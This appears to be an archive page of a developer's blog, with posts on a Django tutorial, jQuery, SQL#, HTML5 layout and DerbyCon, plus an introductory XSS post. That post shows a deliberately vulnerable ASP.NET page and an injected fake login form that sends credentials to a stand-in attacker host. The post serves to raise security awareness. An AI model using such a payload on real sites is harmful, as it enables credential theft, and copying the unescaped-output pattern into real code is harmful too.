Django & Python Adventure Part 3

If you’ve just jumped in, this is my blog series of my walkthrough of a fantastic book on learning Django w/Python called “Django 1.0 Web Site Development” by Ayman Hourieh.  I’m doing this to pick up a lot of good information: knowledge of Python, knowledge of Django, and knowledge of MVC.  Nice that I can do all three in one book.  The blog posts are so I don’t forget it and hopefully to highlight a great resource.

Our original page has HTML in the main page and that’s something we don’t want.  So, now we’ll be taking it to the next level with Templates.  Go to your project folder and create a folder called “templates”.

Now edit your settings.py

At the top add this like:

                Import os.path

Look for this section:

TEMPLATE_DIRS = (
    # Put strings here, like "/home/html/django_templates" or "C:/www/django/templates".
    # Always use forward slashes, even on Windows.
    # Don't forget to use absolute paths, not relative paths.
)

Add this line inside:

                os.path.join(os.path.dirname(__file__),'templates'),

Now create a main_page.html inside the templates folder and paste this in:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
        "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
                <title>{{ page_title }}</title>
</head>
<body>
<h1>{{ page_title }}</h1>
<p>{{ page_body }}</p>
</body>
</html>

Now let’s jump into bookmarks/views.py

 

from django.http import HttpResponse
from django.template import Context
from django.template.loader import get_template
# Create your views here.
def main_page(request):
    template = get_template('main_page.html')
    variables = Context({
        'head_title': u'Django Bookmarks',
        'page_title': u'Welcome to Django Bookmarks',
        'page_body': u'Where you can store and share bookmarks!'
    })
    output=template.render(variables)
    return HttpResponse(output)

Great, now go back to your web page and hit refresh.  You should see almost the same thing without the “seriously”.

 

Next I’m writing a view for the User to see his/her Links.

So, first we’ll create the URL:

Go to urls.py and add a new pattern line under the main page pattern:

                (r'^user/(w+)/$', user_page),

Regular expressions sure are ugly looking, but they are so useful, you just have to use them J

Now go back to bookmarks/views.py to add the User Page view:

from django.http import HttpResponse, Http404
from django.template import Context
from django.template.loader import get_template
from django.contrib.auth.models import User
# Create your views here.
def main_page(request):
    template = get_template('main_page.html')
    variables = Context({
        'head_title': u'Django Bookmarks',
        'page_title': u'Welcome to Django Bookmarks',
        'page_body': u'Where you can store and share bookmarks!'
    })
    output=template.render(variables)
    return HttpResponse(output)
def user_page(request, username):
    try:
        user = User.objects.get(username=username)
    except User.DoesNotExist:
        raise Http404(u'Requested user was not found.')
    bookmarks = user.bookmark_set.all()
    template = get_template('user_page.html')
    variables = Context ({
        'username':username,
        'bookmarks':bookmarks
    })
    output=template.render(variables)
    return HttpResponse(output)

Time to design that new template.  In templates/ add a page called user_page.html.  Give it this code:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Django Bookmarks - User: {{ username }}</title>
</head>
<body>
<h1>{{ username }}'s Bookmarks</h1>
{% if bookmarks %}
<ul>
{% for bookmark in bookmarks %}
<li><a href="{{ bookmark.link.url }}">{{ bookmark.title }}</a></li>
{% end for %}
</ul>
{% else %}
<p>You have no bookmarks!</p>
{% end if %}
</body>
</html>

Now you can browse to your original users page and see what’s going on:

Not a whole lot apparently so let’s jump back to the command prompt, open a database shell and fill in some real data:

If you’ve closed it, no worries, open a command prompt and browse to your PythonXX folder

Run these commands:

python manage.py shell
>>> from django.contrib.auth.models import User
>>> from bookmarks.models import *
>>> user1 = User(username=u'mdhall')
>>> user1.save()
>>> user2 = User(username=u'lahall')
>>> user2.save()
>>> User.objects.all()
[<User: sa>, <User: mdhall>, <User: lahall>]
>>> user1 = User.objects.get(id=2)
>>> link1 = Link.objects.get(id=1)
>>> user1.bookmark_set.all()
[]
>>> bookmark = Bookmark(
... title=u'Mike Hall website',
... user=user1,
... link=link1
... )
>>> bookmark.save()
>>> user1.bookmark_set.all()
[<Bookmark: Bookmark object>]

So, what just happened:  we opened the “django database shell”, created two users, grabbed the 2nd user, grabbed the 1st link (we created that in our previous part), then we created a new Bookmark (cross-reference or many-to-many table) linking the user to the link.

So, now we can go to the browser and check on the user page for mdhall:

Big fun!  Next time we’ll get into user registration and management.

Posted in Uncategorized | Tagged , | Leave a comment

Django & Python Adventure Part 2

Hello again.  Today we’ll continue from Part 1 and create an initial Template and some database Models.  Django is MVC, it just calls it MTV.  So, Model-View-Control = Model-Template-View.  I think the View part is what’s most confusing, but, that’s how it is.

Well, on with it then.  First we’ll be creating the main page view:
Open a command prompt and get to your bookmarks project again (remember you still should have another command prompt running the built in Django web server).
Type: python manage.py startapp bookmarks
Look familiar? It should.

Now you will have a folder in your application called bookmarks that contains:
your new bookmarks folder

Open the views.py in PyCharm (or whatever you’re using) and drop this code into it:

# Create your views here.
from django.http import HttpResponse
def main_page(request):
    output=u'''
        <html>
            <head><title>%s</title></head>
            <body>
                <h1>%s</h1><p>%s</p>
            </body>
        </html>
    ''' % (
        u'Django Bookmarks',
        u'Welcome to Django Bookmarks',
        u'Where you can store and share bookmarks! Seriously.'
    )
    return HttpResponse(output)

Important! Python cares a lot about indentation. If your indentation is wrong, your code won’t work.
Now open urls.py
Add an import line for your bookmarks
Add a url pattern to your main page.
r’’ means it’s a raw string. The ^$ is a regular expression which means “empty string”. In English I’m saying we just told the website what to do when the website address is just the base URL with nothing else appended.

from django.conf.urls.defaults import patterns, include, url
from bookmarks.views import *
urlpatterns = patterns('',
     (r'^$', main_page),
)

Go back and start your server and browse to your page.
Your temporary template
Hooray.

Designing an initial database (or Model) For this bookmarks website we’ll need three tables: Users, Links and a cross reference table Bookmarks Open the bookmarks/models.py page Add this:

from django.db import models
# Create your models here.
class Link(models.Model):
   url = models.URLField(unique=True)

Now open the settings.py and locate the INSTALLED_APPS section and add:

 'django_bookmarks.bookmarks',

Then pop into a command window and execute:

python manage.py syncdb

You can then validate the SQL genereated with:

python manage.py sql bookmarks

You should see this:

CREATE TABLE “bookmarks_link” (
“id” integer NOT NULL PRIMARY KEY,
“url” varchar(200) NOT NULL UNIQUE
)
;
COMMIT;

Cool? Yes, it is.
Now execute:

pyhton manage.py shell
from bookmarks.models import *
link1 = Link(url=u’http://michaeldukehall.com’)
link1.save()
link2 = Link(url=u’http://hak5.org)
link2.save()

Now you have some data in your Link table/model and you can view it with:

link2.url

or

links = Link.objects.all()

for link in links:

print link.url

or

Link.objects.get(id=1)

and

Link2.delete()

and

Link.objects.count()

Okay, well, that was a lot of fun. SQLLite via Python shell. No SQL necessary because of the Object Relationship Manager in Django. If you switch to another db, the ORM does the heavy lifting for you. So, in .Net you have to know C# and SQL. In Python you have to know Python. Win.

The User model is already created, so, we move onto the Bookmarks model.
Go back to models.py and drop this in:

from django.db import models
from django.contrib.auth.models import User
# Create your models here.
    class Link(models.Model):
    url = models.URLField(unique=True)
class Bookmark(models.Model):
    title=models.CharField(max_length=200)
    user=models.ForeignKey(User)
    link=models.ForeignKey(Link)

That imports the built in User table/model and builds the Bookmark table with foreign keys in Link and User.

Fun stuff!

In part 3 we’ll do the template properly.

Posted in Uncategorized | Tagged , | 5 Comments

Django & Python Adventure Part 1

Django & Python Adventure Part 1

Prenote: If you’re on a MacBook, check out Steve’s walkthrough: http://steveyum.wordpress.com/2011/12/14/learning-django-day-1/

Why Django & Python? Seriously, I don’t need a reason to learn stuff (Codegito Ergo Sum); This one is named after a Jazz Guitarist I like, and that is pretty cool. And the language is named after an awesomely huge snake (okay, he really named it after Monty Python). There is some serious geek power happening here. I’ll have to switch if Nintendo ever releases a Zelda Framework.

Enough philosophy. Here’s what you need to do:
1. Install Python. I choose to go with Python 2.7 over 3. http://www.python.org/getit/
2. Install Django. I choose version 1.3.1 https://www.djangoproject.com/download/ (By install I mean unzip/tar/etc it to C:Django-1.3.1 or something like that)

[Super Important, Often Left Out of Walkthroughs]
Make sure you add python to your system paths! Otherwise nothing works and you’ll be frustrated until you figure that out.
It’s in your Control Panel  System  Advanced system settings (this opens a new window)  Environment Variables
Looks like:
Environment Variables

Drop down to the second section (System Variables) and find the Path and Edit it:
Go to the end and append “;C:Python27” without those quotes. Be really careful not to delete everything in there. You’ll be sad if you do.

Then get to your command line and browse to your PythonXX installation:
Run the Django admin

And type that line.

I’m following along the best rated book I could find on the subject “Django 1.0 Web Site Development”. This is the kind of book I wish I had on a lot of subjects. Not 500 pages of theory that I’m not terribly interested in or reference material that’s available through google.

Django is a Python developed Model-View-Control web framework. This is another big reason I want to learn it. In the Microsoft world, I can create a web application via Web Application, MVC Web Application, and about a dozen other ways. It’s really easy for me to not care about that, since, I’ve already grown accustomed to Web Applications in .Net and the MVC projects really don’t give me anything I don’t already have. So, This is a way for me to see how and why MVC really got big in the first place. Django was created in the bowels of a newsroom where time was essential. That sounds good to me. The MS MVC project I created didn’t really blow me away with the rapidity of anything, so, hopefully this is it.

Anyway, so that line up there generates a folder named after the project:
project folder

Now we’ll configure our database. When you downloaded Python 2.7 (anything 2.5 and up) it loads up SQLLite for you.
As far as Editors are concerned I went with PyCharm 2.0 Beta since it looks a lot like Visual Studio and is free (since it’s in Beta).
You can get PyCharm here:

Now that you’ve got it, open your project folder and edit the settings.py
PyCharm

I wanted to turn on SQLLite and create a database called bookmarksdb.
Looks like this:
DATABASES = {
‘default’: {
‘ENGINE’: ‘sqlite3’, # Add ‘postgresql_psycopg2’, ‘postgresql’, ‘mysql’, ‘sqlite3’ or ‘oracle’.
‘NAME’: ‘bookmarksdb’, # Or path to database file if using sqlite3.
‘USER’: ”, # Not used with sqlite3.
‘PASSWORD’: ”, # Not used with sqlite3.
‘HOST’: ”, # Set to empty string for localhost. Not used with sqlite3.
‘PORT’: ”, # Set to empty string for default. Not used with sqlite3.
}
}

Then I need to get back on the console, browse to the project folder, and execute the command:
database setup

Then you’ll create a superuser for your database and that’s it.
Time to start the server:

Run this command:
Python manage.py runserver
This will start up django’s built in web server. Notice the default port is 8000. One nice thing is that the server restarts every time you modify the code, so, geaerd for easy debugging.
django project startup page

Well that’s enough for a part 1. If you have any questions or comments, shoot me an email.
-Mike

Resources:
Django Website Development 1.0
Python
Django
PyCharm

Posted in Uncategorized | Tagged , | 2 Comments

JQuery Addon: Masked Date Input

Simple, elegant, and effective date inputs.  The following example is mocked up as an age verification, but just to show how to do custom validation.

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<link href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8/themes/base/jquery-ui.css" rel="stylesheet" type="text/css" />
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5/jquery.min.js"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8/jquery-ui.min.js"></script>
<script src="http://cloud.github.com/downloads/digitalBush/jquery.maskedinput/jquery.maskedinput-1.3.min.js"></script>
<script type="text/javascript">
    $(document).ready(function () {
        $(function() {
            $("#frm-verify-age").submit(function(){
                var age = 18; 
                var mydate = new Date($("#bday").val());
                mydate.setFullYear(mydate.getFullYear());
                var currdate = new Date();
                currdate.setFullYear(currdate.getFullYear() - age);
                if ((currdate - mydate) < 0){
                    alert("Sorry, only persons over the age of " + age + " may enter this site");
                    return false;
                }
                    return true;
            });     
            $("#bday").datepicker({
                buttonText: 'Choose a Date'
            });
            $("#bday").mask("99/99/9999");
        });
    });
</script>
</head>
<body>
<form name="frm-verify-age" id="frm-verify-age">
Birthdate <input style="background-color:#FFFFa0" type="text" id="bday" name="bday" size="12" />
<input name="frm-verify-submit" id="frm-verify-submit" type="submit" value="submit" />
</form>
</body>

Why is this better than just a normal JQuery Datepicker for me?
I’ve found that while developers and designers love visual date pickers, the common user will more often default to typing in their date. The date they are being asked for is often something they’ve memorized and typed in countless times: birthdates, hire dates, etc. So it is important to allow both user types to use the control and make sure both allow valid dates to be selected. Thus the mask functionality works very well.
It doesn’t solve all my validation. If they type it in I’ll still need to validate that they did not type in 99/99/9999. That can be done in the same space I’m checking age.

Posted in Uncategorized | Tagged , | Leave a comment

Intro to SQL # For Twitterizer

In this post we’re talking a little bit about an add-on tool for SQL called SQL #.  The idea is to give programmers useful functions in T-SQL and Enterprise Manager.  It is a library of CLR (Common Language Runtime) functions so it works on SQL 2005+.  Getting started is pretty easy and is on the home page of the website: http://www.sqlsharp.com/

The simplest way to start is to create an empty database called “Sharp”, the run the script they provide and open a new query window.

You can review a lot of the features here http://www.sqlsharp.com/features/, but, what really piqued my interest was RegEx, String, and Twitter features.  I have wasted a lot of coding time in the past re-validating data passed from the middle tier.  Why doesn’t Microsoft put the .Net Framework into Enterprise Manager?  They gave us SMO (SQL Management Objects) so we could mess with SQL in C# (probably to the dismay of all DBA’s that pay attention), so why not the other way?  Solomon Rutzky tired of that question and built SQL#.

Let’s start with a few examples.  I’ll be using the AdventureWorks database on a SQL 2008 R2 (or as we like to call it: SQL 2010…)  If you don’t have that database, you can get it here.  These examples are taken/modified from another great blog.

/* SQL# Calculating business days */
SELECT  wo.DueDate,
        wo.EndDate,
        [WorkingDays]=Sharp.SQL#.Date_BusinessDays(wo.DueDate, wo.EndDate, 3),
        wo.WorkOrderID
FROM    Production.WorkOrder AS wo
WHERE   wo.EndDate > wo.DueDate ;

/* SQL# Calculating the distance between two points */
SELECT  [Meters]=a1.SpatialLocation.STDistance(a2.SpatialLocation),
      [Miles]=Sharp.SQL#.Math_Convert(a1.SpatialLocation.STDistance(a2.SpatialLocation),'meter','mile')
FROM    Person.Address AS a1
        JOIN Person.Address AS a2
        ON a2.AddressID = 2
           AND a1.AddressID = 1;

/* SQL# Delete files older than n-days via T-SQL  */
SELECT SQL#.File_Delete(files.Location + '' + files.Name)
FROM SQL#.File_GetDirectoryListing(@StartingDirectory, @Recursive, @DirectoryNamePattern, @FileNamePattern) files
WHERE files.LastWriteTime < (GETDATE() - 3)

Let’s move onto selecting your posts from Twitter.  First make sure you’ve followed these instructions: http://www.SQLsharp.com/download/SQLsharp_TwitterSetup.pdf

/* SQL# Return a table of tweets  */
DECLARE		@ConsumerKey		NVARCHAR(100),
		@ConsumerSecret		NVARCHAR(100),
		@AccessToken		NVARCHAR(100),
		@AccessTokenSecret	NVARCHAR(100)
SELECT		@ConsumerKey = 'x',
		@ConsumerSecret = 'y',
		@AccessToken = '7-z',
		@AccessTokenSecret = 'z'

SELECT		StatusText,Created,ScreenName,UserName
FROM		SQL#.Twitter_GetFriendsTimeline(@ConsumerKey, @ConsumerSecret,
                                        @AccessToken, @AccessTokenSecret, NULL)

This is the same functionality I demo’d in C# in my first post.

In conclusion, this gives me an alternative to LINQ for business logic and it allows me to keep it in the stored procedures.  Which is especially nice when I have to write any reports where I don’t get to pass into a C# layer.

-Mike

Posted in Uncategorized | Tagged , | Leave a comment

Intro to XSS for Web Developers

I don’t run into a lot of web application developers who spend a lot of time thinking about security.  I don’t know why.  They’re usually under some stress to meet a deadline they didn’t have input on to meet business objectives that shift on a daily business.  It’s not easy hitting a moving target, and some things get missed.  Business users aren’t often savvy to security, so, there’s little reward to the application developer who spends extra time “battening down the hatches”.  I get it, but, time has not been kind to web security matters.  It seems like every day we’re hearing about more exploits using the problems identified a decade ago.

CSS/XSS (Cross site scripting) has been around a long time.  It’s fairly easy to understand.

Here’s a simple example (caveat: you would have to compile this with .Net 2.0)

Requesting page:

<head>
    <title></title>
</head>
<body>
    <form action="/pwned.aspx" method="get">
    <input type=text id="name" name="name" />
    <input type="submit" value="Submit" />
    </form>
</body>
</html>
XSS Sample Vulnerability

XSS Sample Vulnerability

Receiving page:

<%@ Page ValidateRequest="false" Language="C#" AutoEventWireup="true" CodeBehind="pwned.aspx.cs" Inherits="jqPlotTest.pwned" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
    <div>
    <%
string name = Page.Request.QueryString["name"];
Page.Response.Write("<h1>Name: "+name);
%>
    </div>
    </form>
</body>
</html>
XSS vulnerability demonstrated

XSS vulnerability demonstrated

Okay, so what?

What if it inserted a form asking the user to input their user credentials instead of popping up an alert box and threw in some CSS (Cascading Style Sheets this time) to make it look a little nicer?

Here’s the string:

Oops.  We could not verify that username.<FORM ACTION="http://www. mischievous.com/receivingxsspost.php" METHOD="post"><center><table><tr><td>Please verify your authentication information:</td></tr><tr><td>Username: <input type="text" name="login" style="color: #781351;background: #fee3ad;border: 1px solid #781351" /></td></tr><tr><td>Password:<input type="text" name="password" style="color: #781351;background: #fee3ad;border: 1px solid #781351" /></td></tr><tr><td><input type="submit" value="Submit" style="color: #000;background: #ffa20f;border: 2px outset #d7b9c9" /></td></tr></table></center></form>
XSS vulnerability demonstrated with twice the attractiveness

XSS vulnerability demonstrated with twice the attractiveness

If the user fills out their username and password it will post that information to http://www. mischievous.com/receivingxsspost.php.  Probably not what you wanted your users doing.

This brings us to XSS categorization:

  • Reflected:           This is the “easy” one; we did it in the first example.
  • Stored:                 Scripts that are injected directly into a web applications database or cache or any sort of storage mechanism that’s going to be reused and abused outside of the current session (i.e. impacts multiple users).
  • DOM Based:       This is where the hacker in manipulating the Document Object Model by inputting javascript that creates HTML .  This is sort of what we did in the second example (i.e. Man in the Middle attacks).

These can let us do “Man in the Middle attacks” where your authentication, verification, passwords, and certificates are rendered somewhat helpless since your trusted user is unwittingly sending their credentials (or whatever) out to another website.

Okay, so we demonstrated a vulnerability in technology that is “ancient”… Well, luckily for the really lazy hackers, there are resources like this one to tell you about all the latest vulnerabilities:

http://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-887/opxss-1/Apache-Tomcat.html

XSS is a good thing for web developers to pay attention to.  If you’re in .Net like me, Microsoft has a few things you may want to capitalize on as sort of an “easy” button for the problem:

AntiXSS 4.0 (released 10/5/2010): http://www.microsoft.com/download/en/details.aspx?id=5242

That doesn’t mean you’ve solved all your problems.  You still have unclear business objectives and unreasonable timelines.  It wouldn’t be fun if it was easy right?

References:

That last link is from Kos, one of the DerbyCon speakers, who specializes in this sort of exploit. 

Thanks for reading,

Mike

Posted in Uncategorized | Tagged , , | Leave a comment

Convert a Blog Website into a SQL Data Dump

The challenge I faced: I wanted to catalog a blog site, format the content, and dump it into a SQL database to help out a buddy.

Solution Miststep 1:

I began to go down the road of using .Net’s WebRequest and WebResponse objects.

You find a lot about this on google, and they run like this:

// used to build entire input
StringBuilder sb  = new StringBuilder();
 // used on each read operation

byte[] buf = new byte[8192];
 // prepare the web page we will be asking for

HttpWebRequest request  = (HttpWebRequest)WebRequest.Create("http://myblog.com/blog/");
// execute the request
HttpWebResponse response = (HttpWebResponse)
	request.GetResponse();
 // we will read data via the response stream

Stream resStream = response.GetResponseStream();
 string tempString = null;

int count      = 0;
int length = 0;
FileStream fs = new FileStream("test.txt",FileMode.Create);
StreamWriter writer = new StreamWriter(fs);
 do

{
	// fill the buffer with data
	count = resStream.Read(buf,0,buf.Length);
	// make sure we read some data
	if (count != 0)
	{
		// translate from bytes to ASCII text
		tempString = Encoding.ASCII.GetString(buf,0,count);
		 // locate and isolate the WOD

		begin =   tempString.IndexOf(beginstr);
		if (begin>-1)
		{
			Console.WriteLine(tempString);
		}
	}
}
while (count > 0); // any more data to read?
 writer.Close();
Console.WriteLine("Press enter and all that.");
 Console.ReadLine();

Wow, that feels like a whole lot of code to do something pretty simple?

 

Resolution:

A buddy stumbled across this in a post.  Does everything you want above in one line.  Just for kicks it also strips the HTML out for you.  Nice.

   public string RemoveHtml(string sURL)
   {
     try
     {
       using (System.Net.WebClient wc = new System.Net.WebClient())
         return System.Text.RegularExpressions.Regex.Replace(new System.IO.StreamReader(wc.OpenRead(sURL)).ReadToEnd(), "<[^>]*>", "").ToString();
     }
     catch (Exception ex)
      {
        MessageBox.Show(ex.Message);
        return null;
      }
   }

I’ll take it.  If you take a look at the two sets of code… you’ll notice the second snippet creates a WebClient object and just grabs the HTML dump with OpenRead.  The first snippet creates a webrequest, fires it off, gets the WebResponse.  Then they fill a buffer byte array and execute a do-while loop to strip out each line.  Wow!  I’ll let you decide which code you’d want to use.  Needless to say the smaller code footprint was faster.

 

Problem:

Alas, none of this was getting me any closer to being able to crawl through a specific set of URL’s.  Eventually I realized I was looking for a SiteMap generator, and where best to look for advice than Google.  They’ve compiled a very nice page of SiteMap generators (http://code.google.com/p/sitemap-generators/wiki/SitemapGenerators), and although I was looking forward to building my own in C#, the first rule of programming is laziness, so I quickly found a free tool that got me closer to what I wanted to be for this task:

http://wonderwebware.com/sitemap-generator/download.html

Slick tool.

That got me a HTML dump of all the blog pages.  A little notepadd++ and excel sorting got me what I wanted (date/day/content).  Here’s a couple links I found along the way:

Then I dumped the excel into a SQL databse table.  Done.

Conclusion? This was a case where I was reinventing the wheel.  Standing on the shoulders of giants saved me a lot of thrashing.

Thanks,

Mike

Posted in Uncategorized | Tagged , | Leave a comment

DerbyCon 2011

This weekend I attended DerbyCon [http://www.derbycon.com/], the new InfoSec (see: hacker) convention here in the midwest. It was hosted at the Hyatt in Louisville; a really nice town which also had an art show going on so my wife was happy to join me for the weekend and see the art.  The con was founded by three fellows:

  • Dave “ReL1K” Kennedy
  • Martin “Pure Hate” Bos
  • Adrian “Irongeek” Crenshaw

I was also fortunate to attend the training these guys put on Friday and Saturday on “Social-Engineering, CUDA Cracking, and PHUKD — OH MY”.  This training was extremely technical and required me to do a lot of homework and preparation and I was still treading water pretty hard both nights.  As part of the training, I setup a Windows 7 laptop running Oracle’s VirtualBox with two virtual machines.  One running BackTrack Linux 5 (Ubuntu 64bit) which I detailed here [http://mdukehall.wordpress.com/2011/09/13/security-training-preparation/] and the other a simple XP box with service pack 2.  The point is to setup a safe virtual area to test the exploits against.

My original goal with this training was to put my web applications to the security test and see what I can learn about securing web applications outside what’s obvious.  Looking back on the weekend, I’ve gotten that plus a much wider view (and respect) of the serious challenges facing us.  Particularly with the resurgence of client side scripting through JQuery.

The path ahead is fairly clear: educate and communicate.  For now, I’ll be educating myself and posting my findings as I go.

As a bonus I saw Kevin Mitnick (http://en.wikipedia.org/wiki/Kevin_Mitnick) speak.  Years ago when he was in the news I read Takedown (http://www.takedown.com/) about his capture and arrest.  It was nice to see that since his release he found a way to do what he loves legally and profitably.  His talk revolved around several penetration tests is which he was able to highlight social engineering as well as physical security compromises.  Hearing these stories was eye opening.  His main point seemed to be that it isn’t hard because people try and be helpful and trusting.  I’m not sure I like the “lesson” that people need to be paranoid and unhelpful, but, I’ll take it into consideration.  Aside from that, it was interesting to hear stories that match the ideas behind movies like Sneakers.

Posted in Uncategorized | Tagged | Leave a comment

A Simple HTML5 & CSS3 Layout

I’ve been working with HTML5 and CSS3 since they came out.  At first I remember being confused.  I had spent some time getting my bearings in Flash when the buzz began touting HTML5 & CSS3 as the “simple” solution for the future.  I’m all for the future of technology, but, I think any of us who have worked in HTML5 and CSS3 might take issue with the “simplicity” of this new cross-browser functionality.  As a community we’ve stuck with it though many blogs and conference lectures on “What is HTML5”, and after a few years, most of the browsers have adopted it, and a few major players have used it.

Pandora, which had a beautiful user interface, wanted to stay at the forefront of technology and recently released it’s HTML5 version: http://www.pandora.com While some people may feel it lost some “crispness” I think they accomplished their goals of a light-weight and elegant solution that will work across platforms and devices.

The code I’ll show here will accomplish a very simple layout that shows off some of the things developers want: rounded corners and dropped shadows.  I don’t understand why we like these two features so much, but we do.  I rarely see a developer new to the technique not experience some sort of inner-glee.  And business people think we’re “square”… pshaw!

Here’s a picture of the finished results:

A Simple HTML5/CSS3 layout

A Simple HTML5/CSS3 layout

This sort of layout is where I like to start for a website.  It’s past all the irritating CSS3 layout annoyances and before dropping custom images in.  Okay, here’s the code

<!doctype html>
<html lang="en">
<head>
    <title>Some Title</title>
    <!--    <script type="text/javascript" src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>-->
    <link href="Version2.css" rel="stylesheet" type="text/css" />
</head>
<body>
    <div class="outsideBox">
        <header>
            <table class="headerTbl">
                <tr>
                    <td>
                        <h2>
                            AwesomeSauce LLC.</h2>
                    </td>
                    <td style="text-align: right;">
                        Search&nbsp;&nbsp;<input type="text" maxlength="100" size="50" />&nbsp;&nbsp;<img
                            src="resources/images/smallSearch.png" alt="Search for DDA" />&nbsp;&nbsp;
                    </td>
                </tr>
            </table>
        </header>
        <nav>
            <ul>
                <li class="selected"><a href="#">Pending</a></li>
                <li><a href="#">Advances</a></li>
                <li><a href="#">Quick Entry</a></li>
                <li><a href="#">Commitments</a></li>
                <li><a href="#">Rates</a></li>
            </ul>
        </nav>
        <div id="alerts">
            alerts go here</div>
        <div id="sideNav">
            <ul class="top-level">
                <li class="selected"><a href="#">Pending</a></li>
                <li><a href="#">Advances</a></li>
                <li><a href="#">Quick Entry</a></li>
                <li><a href="#">Commitments</a></li>
                <li><a href="#">Rates</a></li>
            </ul>
        </div>
        <div id="mainContent">
            <table>
                <tr>
                    <td>
                        <div id="parentBox">
                            Top Level Grid here
                        </div>
                    </td>
                </tr>
                <tr>
                    <td>
                        <div id="childBox">
                            Bottom Level Grid here
                        </div>
                    </td>
                </tr>
            </table>
        </div>
    </div>
</body>
</html>

And here’s the CSS:

body {
    background: #fff;
}

.outsideBox {
    height: 100%;
    min-height: 650px;
    border: 1px solid black;
    border-radius: 1.6em;
    padding: 1em;
    margin: 2em;
    position: relative;
    display: block;
    box-shadow: 4px 4px 4px 4px #202e46;
}

.headerTbl {
    width: 100%;
}

/*------------------------------
= TOP NAVIGATION
------------------------------*/
nav {
    position: absolute;
    left: 0;
    width: 100%;
    background: #202e46;
}

nav ul {
    margin: 0 auto;
    width: 940px;
    list-style: none;
}

nav ul li {
    float: left;
}

nav ul li a {
    display: block;
    margin-right: 20px;
    width: 140px;
    font-size: 16px;
    line-height: 40px;
    text-align: center;
    text-decoration: none;
    color: #777;
}

nav ul li a:hover {
    background: #F0F0F0;
    color: #202e46;
}

nav ul li.selected a {
    background: #F0F0F0;
    color: #000;
}

/*------------------------------
= ALERTS
------------------------------*/
#alerts {
    width: 100%;
    display: block;
    width: 940px;
    background-color: Red;
    color: White;
}

/*------------------------------
= VERTICAL NAVIGATION
------------------------------*/
#sideNav {
    float: left;
    font-size: 1em;
    width: 150px;
    padding-top: 3em;
}
#sideNav ul {
    height: 100%;
    border-radius: 1.6em;
    margin: 0px;
    padding: 0px;
}
#sideNav li {
    list-style: none;
}

ul.top-level {
    background: #202e46;
}

#sideNav a {
    color: #777;
    cursor: pointer;
    display: block;
    line-height: 25px;
    text-indent: 25px;
    text-decoration: none;
    width: 100%;
}
#sideNav a:hover {
    background: #F0F0F0;
    color: #202e46;
}
#sideNav li:hover {
    background: #f90;
    position: relative;
}

/*------------------------------
= MAIN CONTENT
------------------------------*/
#mainContent {
    padding-top: 3em;
    display: block;
    float: right;
    height: 100%;
    min-height:500px;
    width: 80%;
    font-size: 1em;
}
#mainContent table {
    height: 100%;
    border: 1px solid black;
    width: 100%;
}

If you have tried to do HTML5 and CSS3 like I have, you’ve probably come across some impressive kitchen sink solutions along the way.   I personally don’t have 100 hours to put towards figuring it all out 🙂  I have about 10.  If you have less than 10, here’s something for you.

Enjoy

Special thanks to (some of these were used in the final solution for JQuery & DataTables):

  • http://jonraasch.com/blog/css-rounded-corners-in-all-browsers  http://thany.nl/apps/boxshadows/
  • http://html5shim.googlecode.com/
  • http://dotnetspeaks.com/DisplayArticle.aspx?ID=68 http://www.dotnetspeaks.com/DisplayArticle.aspx?ID=67
  • http://aspdotnetcodebook.blogspot.com/2010/01/page-languagec-autoeventwireuptrue.html
Posted in Uncategorized | Tagged , | Leave a comment

Security Training Preparation

With DerbyCon three weeks away, I’ve started ramping up by reading books on security and getting a laptop setup for the training.  It’ll be 12 hour days of veterans and noobs showing off their black and white hat stuff.

The training requires a laptop with 2 virtual machines setup; one for XP and one for BackTrack Linux (Ubuntu).  When it comes to virtualization, my inclination was to use Microsoft’s Hyper-V.  The internet quickly informed me that my Windows 7 laptop isn’t able to support Hyper-V…  It also informed me that Oracle’s VirtualBox has no problem running on Windows 7 and doing what I need and is free.  I do enjoy eating out of Microsoft’s dog bowl, but they often do things like this that “force” me to leave their nest.  Sort of like when they dragged their feet on getting a good ORM so we “had” to use SubSonic (which I heard rumors that it was mostly created by MS or ex-MS eployees) because it was so elegant and efficient at generating all that ADO nonsense 🙂  Anyway…

Virtual Box comes with many OS flavors ready to go.

Setting up a VM with BackTrack Linux was as easy as following the instructions here: : http://www.backtrack-linux.org/wiki/index.php/VirtualBox_Install

The goal of the preparation will be to have a virtual network with 1 server running XP (or whatever you want to run security checks against) and one running Linux where you simulate attacks against the XP box.  My goal in learning this is more to teach myself about Web and WinForms Application security.  There are a lot of people that know the networking side and it appears that the industry thinks it has a good handle on that side with firewalls and patch management and tripwire type programs to watch the perimeters.  I’m more interested in how nations full of growing computer scientists might dismantle my humble web applications and how to stop them from embarrassing me.

Look forward to more technical posts in the coming month.

 

Posted in Uncategorized | Tagged , | 1 Comment